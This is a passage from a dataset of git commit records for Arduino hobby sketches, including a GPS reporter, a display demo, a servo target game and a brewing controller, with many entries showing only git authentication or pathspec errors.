Moreta\n\/\/<manukorp@outlook.com>\n\/\/Udp transmisor GPS\n\n\/\/ Test code for Adafruit GPS modules using MTK3329\/MTK3339 driver\n\/\/\n\/\/ This code shows how to listen to the GPS module in an interrupt\n\/\/ which allows the program to have more 'freedom' - just parse\n\/\/ when a new NMEA sentence is available! Then access data when\n\/\/ desired.\n\/\/\n\/\/ Tested and works great with the Adafruit Ultimate GPS module\n\/\/ using MTK33x9 chipset\n\/\/ ------> http:\/\/www.adafruit.com\/products\/746\n\/\/ Pick one up today at the Adafruit electronics shop \n\/\/ and help support open source hardware & software! -ada\n\n\/\/This code is intended for use with Arduino Leonardo and other ATmega32U4-based Arduinos\n\n#include <Adafruit_GPS.h>\n#include <SoftwareSerial.h>\n\n\/\/#include <GSM.h>\n\n\/\/ Connect the GPS Power pin to 5V\n\/\/ Connect the GPS Ground pin to ground\n\/\/ If using software serial (sketch example default):\n\/\/ Connect the GPS TX (transmit) pin to Digital 8\n\/\/ Connect the GPS RX (receive) pin to Digital 7\n\/\/ If using hardware serial:\n\/\/ Connect the GPS TX (transmit) pin to Arduino RX1 (Digital 0)\n\/\/ Connect the GPS RX (receive) pin to matching TX1 (Digital 1)\n\n\/\/ If using software serial, keep these lines enabled\n\/\/ (you can change the pin numbers to match your wiring):\nSoftwareSerial mySerial(8, 7);\nAdafruit_GPS GPS(&mySerial);\n\n\/\/SoftwareSerial gsmSerial(4,3);\n\/\/GSM gsmData(&gsmSerial);\n\n\n\/\/ If using hardware serial, comment\n\/\/ out the above two lines and enable these two lines instead:\n\/\/Adafruit_GPS GPS(&Serial1);\n\/\/HardwareSerial mySerial = Serial1;\n\n\/\/ Set GPSECHO to 'false' to turn off echoing the GPS data to the Serial console\n\/\/ Set to 'true' if you want to debug and listen to the raw GPS sentences\n#define GPSECHO true\n\n\/\/Send UDP Data\nString response=\"\";\nunsigned int angulAnt=0;\n\n\nvoid setup() \n{\n \n \/\/ connect at 115200 so we can read the GPS fast enough and echo without dropping chars\n \/\/ also spit it out\n Serial.begin(115200);\n delay(5000);\n\n \/\/ 9600 NMEA is the default baud rate for Adafruit MTK GPS's- some use 4800\n GPS.begin(9600);\n \n \/\/ uncomment this line to turn on RMC (recommended minimum) and GGA (fix data) including altitude\n GPS.sendCommand(PMTK_SET_NMEA_OUTPUT_RMCGGA);\n \/\/ uncomment this line to turn on only the \"minimum recommended\" data\n \/\/GPS.sendCommand(PMTK_SET_NMEA_OUTPUT_RMCONLY);\n \/\/ For parsing data, we don't suggest using anything but either RMC only or RMC+GGA since\n \/\/ the parser doesn't care about other sentences at this time\n \n \/\/ Set the update rate\n GPS.sendCommand(PMTK_SET_NMEA_UPDATE_1HZ); \/\/ 1 Hz update rate\n \/\/ For the parsing code to work nicely and have time to sort thru the data, and\n \/\/ print it out we don't suggest using anything higher than 1 Hz\n\n \/\/ Request updates on antenna status, comment out to keep quiet\n GPS.sendCommand(PGCMD_ANTENNA);\n\n delay(1000);\n \/\/ Ask for firmware version\n mySerial.println(PMTK_Q_RELEASE);\n}\n\nuint32_t timer = millis();\nuint32_t reportTimer=timer;\nvoid loop() \/\/ run over and over again\n{\n char c = GPS.read();\n \/\/ if you want to debug, this is a good time to do it!\n \/\/if ((c) && (GPSECHO))\n \/\/Serial.write(c); \n \n \/\/ if a sentence is received, we can check the checksum, parse it...\n if (GPS.newNMEAreceived()) {\n \/\/ a tricky thing here is if we print the NMEA sentence, or data\n \/\/ we end up not listening and catching other sentences! \n \/\/ so be very wary if using OUTPUT_ALLDATA and trytng to print out data\n \/\/Serial.println(GPS.lastNMEA()); \/\/ this also sets the newNMEAreceived() flag to false\n \n if (!GPS.parse(GPS.lastNMEA())) \/\/ this also sets the newNMEAreceived() flag to false\n return; \/\/ we can fail to parse a sentence in which case we should just wait for another\n }\n\n \/\/ if millis() or timer wraps around, we'll just reset it\n if (timer > millis()) timer = millis();\n\n \/\/ approximately every 5 seconds or so, print out the current stats\n if (millis() - timer > 5000) { \n timer = millis(); \/\/ reset the timer\n \n \/\/Serial.print(\"\\nTime: \");\n \/\/Serial.print(GPS.hour, DEC); Serial.print(':');\n \/\/Serial.print(GPS.minute, DEC); Serial.print(':');\n \/\/Serial.print(GPS.seconds, DEC); Serial.print('.');\n \/\/Serial.println(GPS.milliseconds);\n \/\/Serial.print(\"Date: \");\n \/\/Serial.print(GPS.day, DEC); Serial.print('\/');\n \/\/Serial.print(GPS.month, DEC); Serial.print(\"\/20\");\n \/\/Serial.println(GPS.year, DEC);\n Serial.print(\"Fix: \"); Serial.print((int)GPS.fix);\n \/\/Serial.print(\" quality: \"); Serial.println((int)GPS.fixquality); \n if (GPS.fix) {\n \/\/Serial.print(\"Location: \");\n \/\/Serial.print(GPS.latitude, 4); Serial.print(GPS.lat);\n \/\/Serial.print(\", \"); \n \/\/Serial.print(GPS.longitude, 4); Serial.println(GPS.lon);\n \n \/\/Serial.print(\"Speed (knots): \"); Serial.println(GPS.speed);\n \/\/Serial.print(\"Angle: \"); Serial.println(GPS.angle);\n \/\/Serial.print(\"Altitude: \"); Serial.println(GPS.altitude);\n \/\/Serial.print(\"Satellites: \"); Serial.println((int)GPS.satellites);\n response=\"3030,20\"+(String)GPS.year+\"-0\"+GPS.month+\"-\"+GPS.day+\" \"+GPS.hour+\":\"+GPS.minute+\":\"+GPS.seconds+\",\"+GPS.latitude+\",\"+GPS.lat+\",\"+GPS.longitude+\",\"+GPS.lon+\",\"+GPS.speed+\",\"+GPS.angle+\",\"+GPS.altitude+\",\"+GPS.satellites;\n if((int)GPS.satellites>4){\n \/\/Si el angulo ha cambiado mas de 25 grados reporte\n if(((int)GPS.angle-angulAnt)>25){\n \/\/Reseteao el reportTimer\n reportTimer=millis();\n \/\/enviar UDP\n \/\/response=\"3030,20\"+(String)GPS.year+\"-0\"+GPS.month+\"-\"+GPS.day+\" \"+GPS.hour+\":\"+GPS.minute+\":\"+GPS.seconds+\",\"+GPS.latitude+\",\"+GPS.lat+\",\"+GPS.longitude+\",\"+GPS.lon+\",\"+GPS.speed+\",\"+GPS.angle+\",\"+GPS.altitude+\",\"+GPS.satellites;\n\/\/Por el problema de comunicaci\u00f3n solo imprimo en consola\n Serial.println(response);\n }\n \/\/Si el tiempo es 5 minutos y no ha cambiado el angulo de el dispositivo reporta\n if((millis()-reportTimer)>300000){\n \/\/Reseteao el reportTimer\n reportTimer=millis();\n \/\/enviar UDP\n \/\/response=\"3030,20\"+(String)GPS.year+\"-0\"+GPS.month+\"-\"+GPS.day+\" \"+GPS.hour+\":\"+GPS.minute+\":\"+GPS.seconds+\",\"+GPS.latitude+\",\"+GPS.lat+\",\"+GPS.longitude+\",\"+GPS.lon+\",\"+GPS.speed+\",\"+GPS.angle+\",\"+GPS.altitude+\",\"+GPS.satellites; \n \/\/Por el problema de comunicaci\u00f3n solo imprimo en consola\n Serial.println(response);\n }\n }\n }\n }\n}\r\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'lat_par.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"147c5cfb1b075f21725c0eb49f8a1cd931d7b9eb","subject":"Add lettura-ultrasuono example","message":"Add lettura-ultrasuono example\n","repos":"EmanueleGiacomini\/icaro-robotics,EmanueleGiacomini\/icaro-robotics","old_file":"lectures\/lettura-ultrasuono\/lettura-ultrasuono.ino","new_file":"lectures\/lettura-ultrasuono\/lettura-ultrasuono.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/EmanueleGiacomini\/icaro-robotics.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"3ff95195deb2254628dd3279c044eb6238e584c6","subject":"Formatting core sketch","message":"Formatting core sketch\n","repos":"Blade2021\/roots,Blade2021\/roots,Blade2021\/roots","old_file":"hydroCore\/hydroCore.ino","new_file":"hydroCore\/hydroCore.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/Blade2021\/roots.git\/'\n","license":"agpl-3.0","lang":"Arduino"} {"commit":"421bff12129e73e5576c05184ba8cd5fa4d43940","subject":"Added PLAY\/STOP Movement","message":"Added PLAY\/STOP Movement\n","repos":"Mastergalen\/RPlayr","old_file":"remote\/remote.ino","new_file":"remote\/remote.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/Mastergalen\/RPlayr.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"f369f941be7364e8cc8fc83a1921e8d6dae7e8f2","subject":"general cleanup & make serial happier on linux","message":"general cleanup & make serial happier on linux\n","repos":"wsnook\/farm,wsnook\/farm,wsnook\/farm","old_file":"firmware\/photon.ino","new_file":"firmware\/photon.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/wsnook\/farm.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"1157a55ee17736f1c1cabe45649907bd8b4b9ef6","subject":"spent 1hour trying to fix issue...","message":"spent 1hour trying to fix issue...\n","repos":"tconstans\/Thermino,tconstans\/Thermino,tconstans\/Thermino,tconstans\/Thermino","old_file":"Thermostat.ino","new_file":"Thermostat.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/tconstans\/Thermino.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"cb9c287214a56a46afc161faec49b90a1c1bff30","subject":"Add a tool for auto calibration of watchdog based clock.","message":"Add a tool for auto calibration of watchdog based clock.\n","repos":"jeditekunum\/Cosa,jeditekunum\/Cosa,mikaelpatel\/Cosa,jeditekunum\/Cosa,dansut\/Cosa,mikaelpatel\/Cosa,mikaelpatel\/Cosa,dansut\/Cosa,mikaelpatel\/Cosa,jeditekunum\/Cosa,dansut\/Cosa,dansut\/Cosa","old_file":"examples\/Tools\/CosaAutoCalibration\/CosaAutoCalibration.ino","new_file":"examples\/Tools\/CosaAutoCalibration\/CosaAutoCalibration.ino","new_contents":"\/**\n * @file CosaAutoCalibration.ino\n * @version 1.0\n *\n * @section License\n * Copyright (C) 2015, Mikael Patel\n *\n * This library is free software; you can redistribute it and\/or\n * modify it under the terms of the GNU Lesser General Public\n * License as published by the Free Software Foundation; either\n * version 2.1 of the License, or (at your option) any later version.\n *\n * This library is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU\n * Lesser General Public License for more details.\n *\n * @section Description\n * Calibrate Watchdog clock with RTC clock as reference. Automatically\n * adjust Watchdog clock to RTC clock tick.\n *\n * This file is part of the Arduino Che Cosa project.\n *\/\n\n#include \"Cosa\/RTC.hh\"\n#include \"Cosa\/Watchdog.hh\"\n#include \"Cosa\/Trace.hh\"\n#include \"Cosa\/IOStream\/Driver\/UART.hh\"\n\nRTC::Clock clock;\nWatchdog::Clock bark;\n\nvoid setup()\n{\n \/\/ Start trace output stream on the serial port\n uart.begin(57600);\n trace.begin(&uart, PSTR(\"CosaAutoCalibration: started\"));\n\n \/\/ Start the watchdog and internal real-time clock\n Watchdog::begin();\n RTC::begin();\n\n \/\/ Synchronized clocks\n uint32_t now = clock.await();\n delay(500);\n bark.time(now + 1);\n}\n\nvoid loop()\n{\n static int32_t cycle = 1;\n\n \/\/ Wait for clock update\n uint32_t now = clock.await();\n\n \/\/ Calculate error and possible adjustment\n int32_t diff = bark.time() - now;\n int32_t err = (1000 * diff) \/ cycle;\n if (err != 0) {\n bark.adjust(err \/ 2);\n trace << endl << PSTR(\"calibration=\") << bark.calibration() << endl;\n cycle = 1;\n clock.time(0);\n now = clock.await();\n delay(500);\n bark.time(now + 1);\n }\n else {\n trace << '.';\n cycle += 1;\n }\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'examples\/Tools\/CosaAutoCalibration\/CosaAutoCalibration.ino' did not match any file(s) known to git\n","license":"lgpl-2.1","lang":"Arduino"} {"commit":"bac7a89be21abd06122388c138e0d42f849246b0","subject":"Initial commit of S7S","message":"Initial commit of S7S\n","repos":"pas256\/oven,pas256\/oven","old_file":"oven.ino","new_file":"oven.ino","new_contents":"\/* Serial 7-Segment Display Example Code\n I2C Mode Stopwatch\n by: Jim Lindblom\n SparkFun Electronics\n date: November 27, 2012\n license: This code is public domain.\n\n This example code shows how you could use the Arduino Wire \n library to interface with a Serial 7-Segment Display.\n\n There are example functions for setting the display's\n brightness, decimals, clearing the display, and sending a \n series of bytes via I2C.\n\n Each I2C transfer begins with a Wire.beginTransmission(address)\n where address is the 7-bit address of the device set to \n receive the data. Wire.write() sends a byte of data. I2C\n communication is closed with Wire.endTransmission().\n\n Circuit:\n Arduino -------------- Serial 7-Segment\n 5V -------------------- VCC\n GND -------------------- GND\n SDA -------------------- SDA (A4 on older 'duino's)\n SCL -------------------- SCL (A5 on older 'duino's)\n*\/\n#include <Wire.h> \/\/ Include the Arduino SPI library\n\n\/\/ Here we'll define the I2C address of our S7S. By default it\n\/\/ should be 0x71. This can be changed, though.\nconst byte s7sAddress = 0x71;\n\nunsigned int counter = 9900; \/\/ This variable will count up to 65k\nchar tempString[10]; \/\/ Will be used with sprintf to create strings\n\nvoid setup()\n{\n Wire.begin(); \/\/ Initialize hardware I2C pins\n\n \/\/ Clear the display, and then turn on all segments and decimals\n clearDisplayI2C(); \/\/ Clears display, resets cursor\n\n \/\/ Custom function to send four bytes via I2C\n \/\/ The I2C.write function only allows sending of a single\n \/\/ byte at a time.\n s7sSendStringI2C(\"-HI-\");\n setDecimalsI2C(0b111111); \/\/ Turn on all decimals, colon, apos\n\n \/\/ Flash brightness values at the beginning\n setBrightnessI2C(0); \/\/ Lowest brightness\n delay(1500);\n setBrightnessI2C(255); \/\/ High brightness\n delay(1500);\n\n \/\/ Clear the display before jumping into loop\n clearDisplayI2C(); \n}\n\nvoid loop()\n{\n \/\/ Magical sprintf creates a string for us to send to the s7s.\n \/\/ The %4d option creates a 4-digit integer.\n sprintf(tempString, \"%4d\", counter);\n\n \/\/ This will output the tempString to the S7S\n s7sSendStringI2C(tempString);\n\n \/\/ Print the decimal at the proper spot\n if (counter < 10000)\n setDecimalsI2C(0b00000100); \/\/ Sets digit 3 decimal on\n else\n setDecimalsI2C(0b00001000);\n\n counter++; \/\/ Increment the counter\n delay(100); \/\/ This will make the display update at 10Hz.*\/\n}\n\n\/\/ This custom function works somewhat like a serial.print.\n\/\/ You can send it an array of chars (string) and it'll print\n\/\/ the first 4 characters in the array.\nvoid s7sSendStringI2C(String toSend)\n{\n Wire.beginTransmission(s7sAddress);\n for (int i=0; i<4; i++)\n {\n Wire.write(toSend[i]);\n }\n Wire.endTransmission();\n}\n\n\/\/ Send the clear display command (0x76)\n\/\/ This will clear the display and reset the cursor\nvoid clearDisplayI2C()\n{\n Wire.beginTransmission(s7sAddress);\n Wire.write(0x76); \/\/ Clear display command\n Wire.endTransmission();\n}\n\n\/\/ Set the displays brightness. Should receive byte with the value\n\/\/ to set the brightness to\n\/\/ dimmest------------->brightest\n\/\/ 0--------127--------255\nvoid setBrightnessI2C(byte value)\n{\n Wire.beginTransmission(s7sAddress);\n Wire.write(0x7A); \/\/ Set brightness command byte\n Wire.write(value); \/\/ brightness data byte\n Wire.endTransmission();\n}\n\n\/\/ Turn on any, none, or all of the decimals.\n\/\/ The six lowest bits in the decimals parameter sets a decimal \n\/\/ (or colon, or apostrophe) on or off. A 1 indicates on, 0 off.\n\/\/ [MSB] (X)(X)(Apos)(Colon)(Digit 4)(Digit 3)(Digit2)(Digit1)\nvoid setDecimalsI2C(byte decimals)\n{\n Wire.beginTransmission(s7sAddress);\n Wire.write(0x77);\n Wire.write(decimals);\n Wire.endTransmission();\n}\n","old_contents":"","returncode":128,"stderr":"fatal: invalid reference: FETCH_HEAD^\n","license":"apache-2.0","lang":"Arduino"} {"commit":"9fe10396c35827d079937a2c40e67574ec690ff4","subject":"First commit, Hello World!","message":"First commit, Hello World!\n","repos":"William-An\/STEM-Drone,William-An\/STEM-Drone","old_file":"Drone\/Drone.ino","new_file":"Drone\/Drone.ino","new_contents":"#include <helper_3dmath.h>\n#include <MPU6050.h>\n#include <MPU6050_6Axis_MotionApps20.h>\n#include <MPU6050_9Axis_MotionApps41.h>\n#if I2CDEV_IMPLEMENTATION == I2CDEV_ARDUINO_WIRE\n #include \"Wire.h\"\n#endif\n\/\/ class default I2C address is 0x68\n\/\/ specific I2C addresses may be passed as a parameter here\n\/\/ AD0 low = 0x68 (default for SparkFun breakout and InvenSense evaluation board)\n\/\/ AD0 high = 0x69\nMPU6050 mpu;\n\/\/MPU6050 mpu(0x69); \/\/ <-- use for AD0 high\n\/* =========================================================================\n NOTE: In addition to connection 3.3v, GND, SDA, and SCL, this sketch\n depends on the MPU-6050's INT pin being connected to the Arduino's\n external interrupt #0 pin. On the Arduino Uno and Mega 2560, this is\n digital I\/O pin 2.\n * ========================================================================= *\/\nvoid setup() {\n \/\/ put your setup code here, to run once:\n\n}\n\nvoid loop() {\n \/\/ put your main code here, to run repeatedly:\n\n}\n","old_contents":"","returncode":128,"stderr":"fatal: invalid reference: FETCH_HEAD^\n","license":"mit","lang":"Arduino"} {"commit":"7f2086f308e050a946d3fd9ac5edf73b59db782f","subject":"well... this also happened...","message":"well... this also happened...\n","repos":"rosalindfdt\/huzzahbadge,rosalindfdt\/huzzahbadge,rosalindfdt\/huzzahbadge,rosalindfdt\/huzzahbadge","old_file":"shitpost\/shitpost.ino","new_file":"shitpost\/shitpost.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/rosalindfdt\/huzzahbadge.git\/'\n","license":"artistic-2.0","lang":"Arduino"} {"commit":"012971b620161bf7ded791f0bc4fe8fc9e17e320","subject":"005TargetUP","message":"005TargetUP","repos":"kolsan\/StarWarsCarnival","old_file":"005TargetUP\/DianaParteSuperior.ino","new_file":"005TargetUP\/DianaParteSuperior.ino","new_contents":"\n\/\/Comunicacion i2c\n\/\/1-manager\n\/\/2 diana inferior izqda 3 diana inferior central 4 diana inferior dcha\n\/\/5 diana superior medio 6 diana superior alta\n\n\n\/\/ Receptor - Seria la diana de la feria\n#include <IRremote.h>\n#include <Servo.h>\n#include <Wire.h>\n\nconst int ledPin = 13;\nint RECV_PIN = 11;\nServo myservo;\nint pos = 15;\nboolean Playing;\nIRrecv irrecv(RECV_PIN);\nchar MessageReceived;\nunsigned long timer = millis();\nunsigned long time_between_target = 7;\nint randNumber = 0;\nint UpDegrees = 180; \/\/Grados a los que la diana esta vertical\nint Shoots = 0; \/\/Guardaremos el numero de diana y en funci\u00f3n de ella modificaremos la dificultad\nboolean TargetUp;\n\nint DownDegrees = 0; \/\/Grados a los que la diana esta vertical\nint ShootAvailableDegrees = 82; \/\/Grados a los que la diana esperar\u00e1 el tiro.\nboolean DirectionRightToLeft = true;\nString texto;\ndecode_results results;\n\nvoid setup()\n{\n Serial.begin(9600);\n irrecv.enableIRIn(); \/\/ Start the receiver\n myservo.attach(9);\n \/\/Serial.println (\"Comenzamos...\");\n myservo.write(DownDegrees);\n delay(15);\n Playing = false;\n pinMode(ledPin, OUTPUT);\n Wire.begin(6); \/\/ join i2c bus with address #2\n Wire.onReceive(receiveEvent); \/\/ register event\n \/\/Serial.println (millis());\u00e7\n \/\/Manager.begin(9600);\n Playing = false;\n \/\/TargetUp = true;\n\n}\n\nvoid (* resetFunc) (void) = 0;\n\n\nvoid loop() {\n\n\n\n if (Playing)\n {\n\n if ((timer < millis()) && (!TargetUp))\n { \/\/levantamos la diana transcurrido un tiempo aleatorio desde el ultimo blanco\n Wire.beginTransmission(1); \/\/ transmit to device #1\n Wire.write(\"go004\"); \/\/ sends one byte\n Wire.endTransmission(); \/\/ stop transmitting\n \n if (DirectionRightToLeft)\n { \/\/Serial.println (\"pos1\");\n for (pos = DownDegrees; pos <= ShootAvailableDegrees; pos += 1) \/\/ goes from 0 degrees to 180 degrees\n { \/\/ in steps of 1 degree\n myservo.write(pos); \/\/ tell servo to go to position in variable 'pos'\n delay(5); \/\/ waits 5ms for the servo to reach the position\n }\n }\n else\n {\n for (pos = UpDegrees; pos >= ShootAvailableDegrees; pos -= 1)\n {\n myservo.write(pos);\n delay(5);\n }\n }\n TargetUp = true;\n \n \/\/Serial.println (pos);\n \/\/bajaremos la diana en 1-5 segundos depende de la dificultad\n\n switch (Shoots) {\n case 2:\n time_between_target = 5;\n \/\/Serial.println (time_between_target);\n break;\n case 3:\n time_between_target = 4;\n \/\/Serial.println (time_between_target);\n break;\n\n case 5:\n time_between_target = 3;\n \/\/Serial.println (time_between_target);\n break;\n\n case 7:\n time_between_target = 1;\n \/\/Serial.println (time_between_target);\n break;\n }\n }\n\n if (timer + (time_between_target * 1000) < millis() && TargetUp) \/\/Si ha pasado el tiempo marcado desde el ultimo tiro, la nave continua\n {\n \/\/ Serial.println (timer);\n \/\/ Serial.println (time_between_target * 1000);\n \/\/ Serial.println (timer + (time_between_target * 1000) );\n \/\/ Serial.println (millis());\n \/\/ Serial.println (\"Aqui2\");\n Wire.beginTransmission(1); \/\/ transmit to device #1\n Wire.write(\"nok004\"); \/\/ sends one byte\n Wire.endTransmission(); \/\/ stop transmitting\n if (DirectionRightToLeft)\n { \/\/Serial.println (\"pos2\");\n for (pos = ShootAvailableDegrees; pos <= UpDegrees; pos += 1)\n {\n myservo.write(pos);\n delay(5);\n }\n }\n else\n {\n for (pos = ShootAvailableDegrees ; pos >= DownDegrees; pos -= 1)\n {\n myservo.write(pos);\n delay(5);\n }\n }\n DirectionRightToLeft = !DirectionRightToLeft;\n TargetUp = false;\n \n randNumber = random(2, time_between_target);\n \/\/Serial.println (randNumber);\n timer = randNumber * 1000 + millis();\n randomSeed(analogRead(0));\n\n \/\/ Serial.println (timer);\n \/\/ Serial.println (millis());\n \/\/ Serial.println (\"Aqui3\");\n irrecv.resume(); \/\/ Receive the next value\n }\n\n\n \/\/delay (200);\n if (irrecv.decode(&results) && TargetUp) {\n \/\/Serial.println(results.value, DEC);\n irrecv.resume(); \/\/ Receive the next value\n \/\/Serial.print (millis());\n if (results.value == 2704) \/\/valor que dispara el emisor de infrarrojos (apagado de tele sony)\n {\n Serial.print (\"Blanco: \");\n \/\/Serial.print (millis());\n \/\/Manager.listen();\n Wire.beginTransmission(1); \/\/ transmit to device #1\n Wire.write(\"ok004\"); \/\/ sends one byte\n Wire.endTransmission(); \/\/ stop transmitting\n\n Shoots = Shoots + 1;\n randNumber = random(2, time_between_target);\n \/\/Serial.println (randNumber);\n timer = randNumber * 1000 + millis();\n randomSeed(analogRead(0));\n \/\/Serial.println (timer);\n \/\/Serial.println (millis());\n if (DirectionRightToLeft)\n {\n \/\/Serial.println (\"Aqui 1\");\n myservo.write(ShootAvailableDegrees - 20);\n delay(1500);\n for (pos = ShootAvailableDegrees - 10 ; pos >= DownDegrees; pos -= 1)\n {\n myservo.write(pos);\n delay(2);\n \/\/Serial.println (\"Aqui 2\");\n }\n }\n else\n { \/\/Serial.println (\"Aqui 3\");\n myservo.write(ShootAvailableDegrees + 20);\n delay(1500);\n for (pos = ShootAvailableDegrees + 10; pos <= UpDegrees; pos += 1)\n {\n myservo.write(pos);\n delay(2);\n \/\/Serial.println (\"Aqui 4\");\n }\n }\n delay (500);\n TargetUp = false;\n irrecv.resume();\n \/\/Serial.println (pos);\n \/\/delay(300);\n }\n }\n\n }\n\n\n}\n\n\/\/ function that executes whenever data is received from master\n\/\/ this function is registered as an event, see setup()\nvoid receiveEvent(int howMany) {\n while ( Wire.available()) { \/\/ loop through all but the last\n char c = Wire.read(); \/\/ receive byte as a character\n texto = texto + c;\n Serial.print(c); \/\/ print the character\n }\n\n if (texto == \"rst\")\n {\n resetFunc();\n }\n if (texto == \"go\")\n {\n Playing = true;\n Serial.println (\"Comienza la partida!!\");\n \/\/ randomSeed(analogRead(0));\n \/\/ for (pos = 0; pos <= UpDegrees; pos += 1) \/\/ goes from 0 degrees to 180 degrees\n \/\/ { \/\/ in steps of 1 degree\n \/\/ myservo.write(pos); \/\/ tell servo to go to position in variable 'pos'\n \/\/ delay(5); \/\/ waits 15ms for the servo to reach the position\n \/\/ time_between_target = 7;\n \/\/ Shoots = 0;\n \/\/\n \/\/\n \/\/ }\n digitalWrite(ledPin, HIGH);\n TargetUp = false;\n timer = millis();\n DirectionRightToLeft = true;\n myservo.write(DownDegrees); \/\/ tell servo to go to position in variable 'pos'\n delay(300); \/\/ waits 5ms for the servo to reach the position\n }\n if (texto == \"end\")\n {\n Playing = false;\n Serial.println (\"Fin de la partida!!\");\n \/\/ for (pos = UpDegrees; pos >= 0; pos -= 1) \/\/ goes from 180 degrees to 0 degrees\n \/\/ {\n myservo.write(DownDegrees); \/\/ tell servo to go to position in variable 'pos'\n delay(300); \/\/ waits 5ms for the servo to reach the position\n \/\/ }\n TargetUp = false;\n Shoots = 0;\n time_between_target = 7;\n digitalWrite(ledPin, LOW);\n\n }\n if (texto == \"gup\")\n {\n\n myservo.write(UpDegrees);\n }\n if (texto == \"gdo\")\n {\n\n myservo.write(DownDegrees);\n }\n if (texto == \"gme\")\n {\n\n myservo.write(ShootAvailableDegrees);\n }\n texto = \"\";\n\n\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec '005TargetUP\/DianaParteSuperior.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"f57b2bd2258a087ee57b5f662a2177ad109a514a","subject":"- added EEPROM example","message":"- added EEPROM example\n","repos":"chosn\/Huehnerklappe,chosn\/Huehnerklappe,chosn\/Huehnerklappe","old_file":"FW\/sketch_mar09a\/sketch_mar09a.ino","new_file":"FW\/sketch_mar09a\/sketch_mar09a.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/chosn\/Huehnerklappe.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"3f4430a0d95aa939586fdbef73afea7c69547518","subject":"Implement color wiper","message":"Implement color wiper\n","repos":"mcrosson\/arduino_safe_lighting,mcrosson\/arduino_safe_lighting","old_file":"src\/src.ino","new_file":"src\/src.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/mcrosson\/arduino_safe_lighting.git\/'\n","license":"apache-2.0","lang":"Arduino"} {"commit":"f627834a41ded8bf566bb1e698ae70daeea5f96c","subject":"Update src.ino","message":"Update src.ino","repos":"AJama50\/CS207-Project","old_file":"src\/src.ino","new_file":"src\/src.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/AJama50\/CS207-Project.git\/'\n","license":"unlicense","lang":"Arduino"} {"commit":"aefc25a094d3e7fb19094276ed6b3e04e45ea0e6","subject":"near functionnal submenu","message":"near functionnal submenu\n","repos":"ioknox\/brewino","old_file":"src\/src.ino","new_file":"src\/src.ino","new_contents":"#include <SPI.h>\n#include <SparkFunMAX31855k.h>\n\n#include <SPI.h>\n#include <TFT.h>\n#include <PID_v1.h>\n#include <Servo.h>\n#include <TaskScheduler.h>\n\n#include \"TempSensor.h\"\n#include \"Label.h\"\n\n#define TFT_CS 19\n#define TFT_DC 9\n#define TFT_RESET 8\n\n#define TC_CS 10\n\nenum ButtonsEnum\n{\n NoButton = 0,\n SetButton = 1,\n UpButton = 2,\n DownButton = 4,\n RightButton = 8\n};\n\nclass Screen\n{\n public:\n Screen()\n : _consignLabel(5, 1, Point(0, 32), Color(0, 255, 0)),\n _editLabel(1, 0, Point(0, 32), Color(255, 255, 255)),\n _currentTempLabel(5, 1, Point(0, 0), Color(255, 0, 0)),\n _outputLabel(5, 0, Point(0, 64), Color(0, 0, 255)),\n _editDigit(-1)\n {\n _currentTempLabel.setValue(\"?\");\n _currentTempLabel.setFontSize(Size_20x32);\n\n _consignLabel.setValue(\"?\");\n _consignLabel.setFontSize(Size_20x32);\n\n _editLabel.setValue(\"?\");\n _editLabel.setFontSize(Size_20x32);\n\n 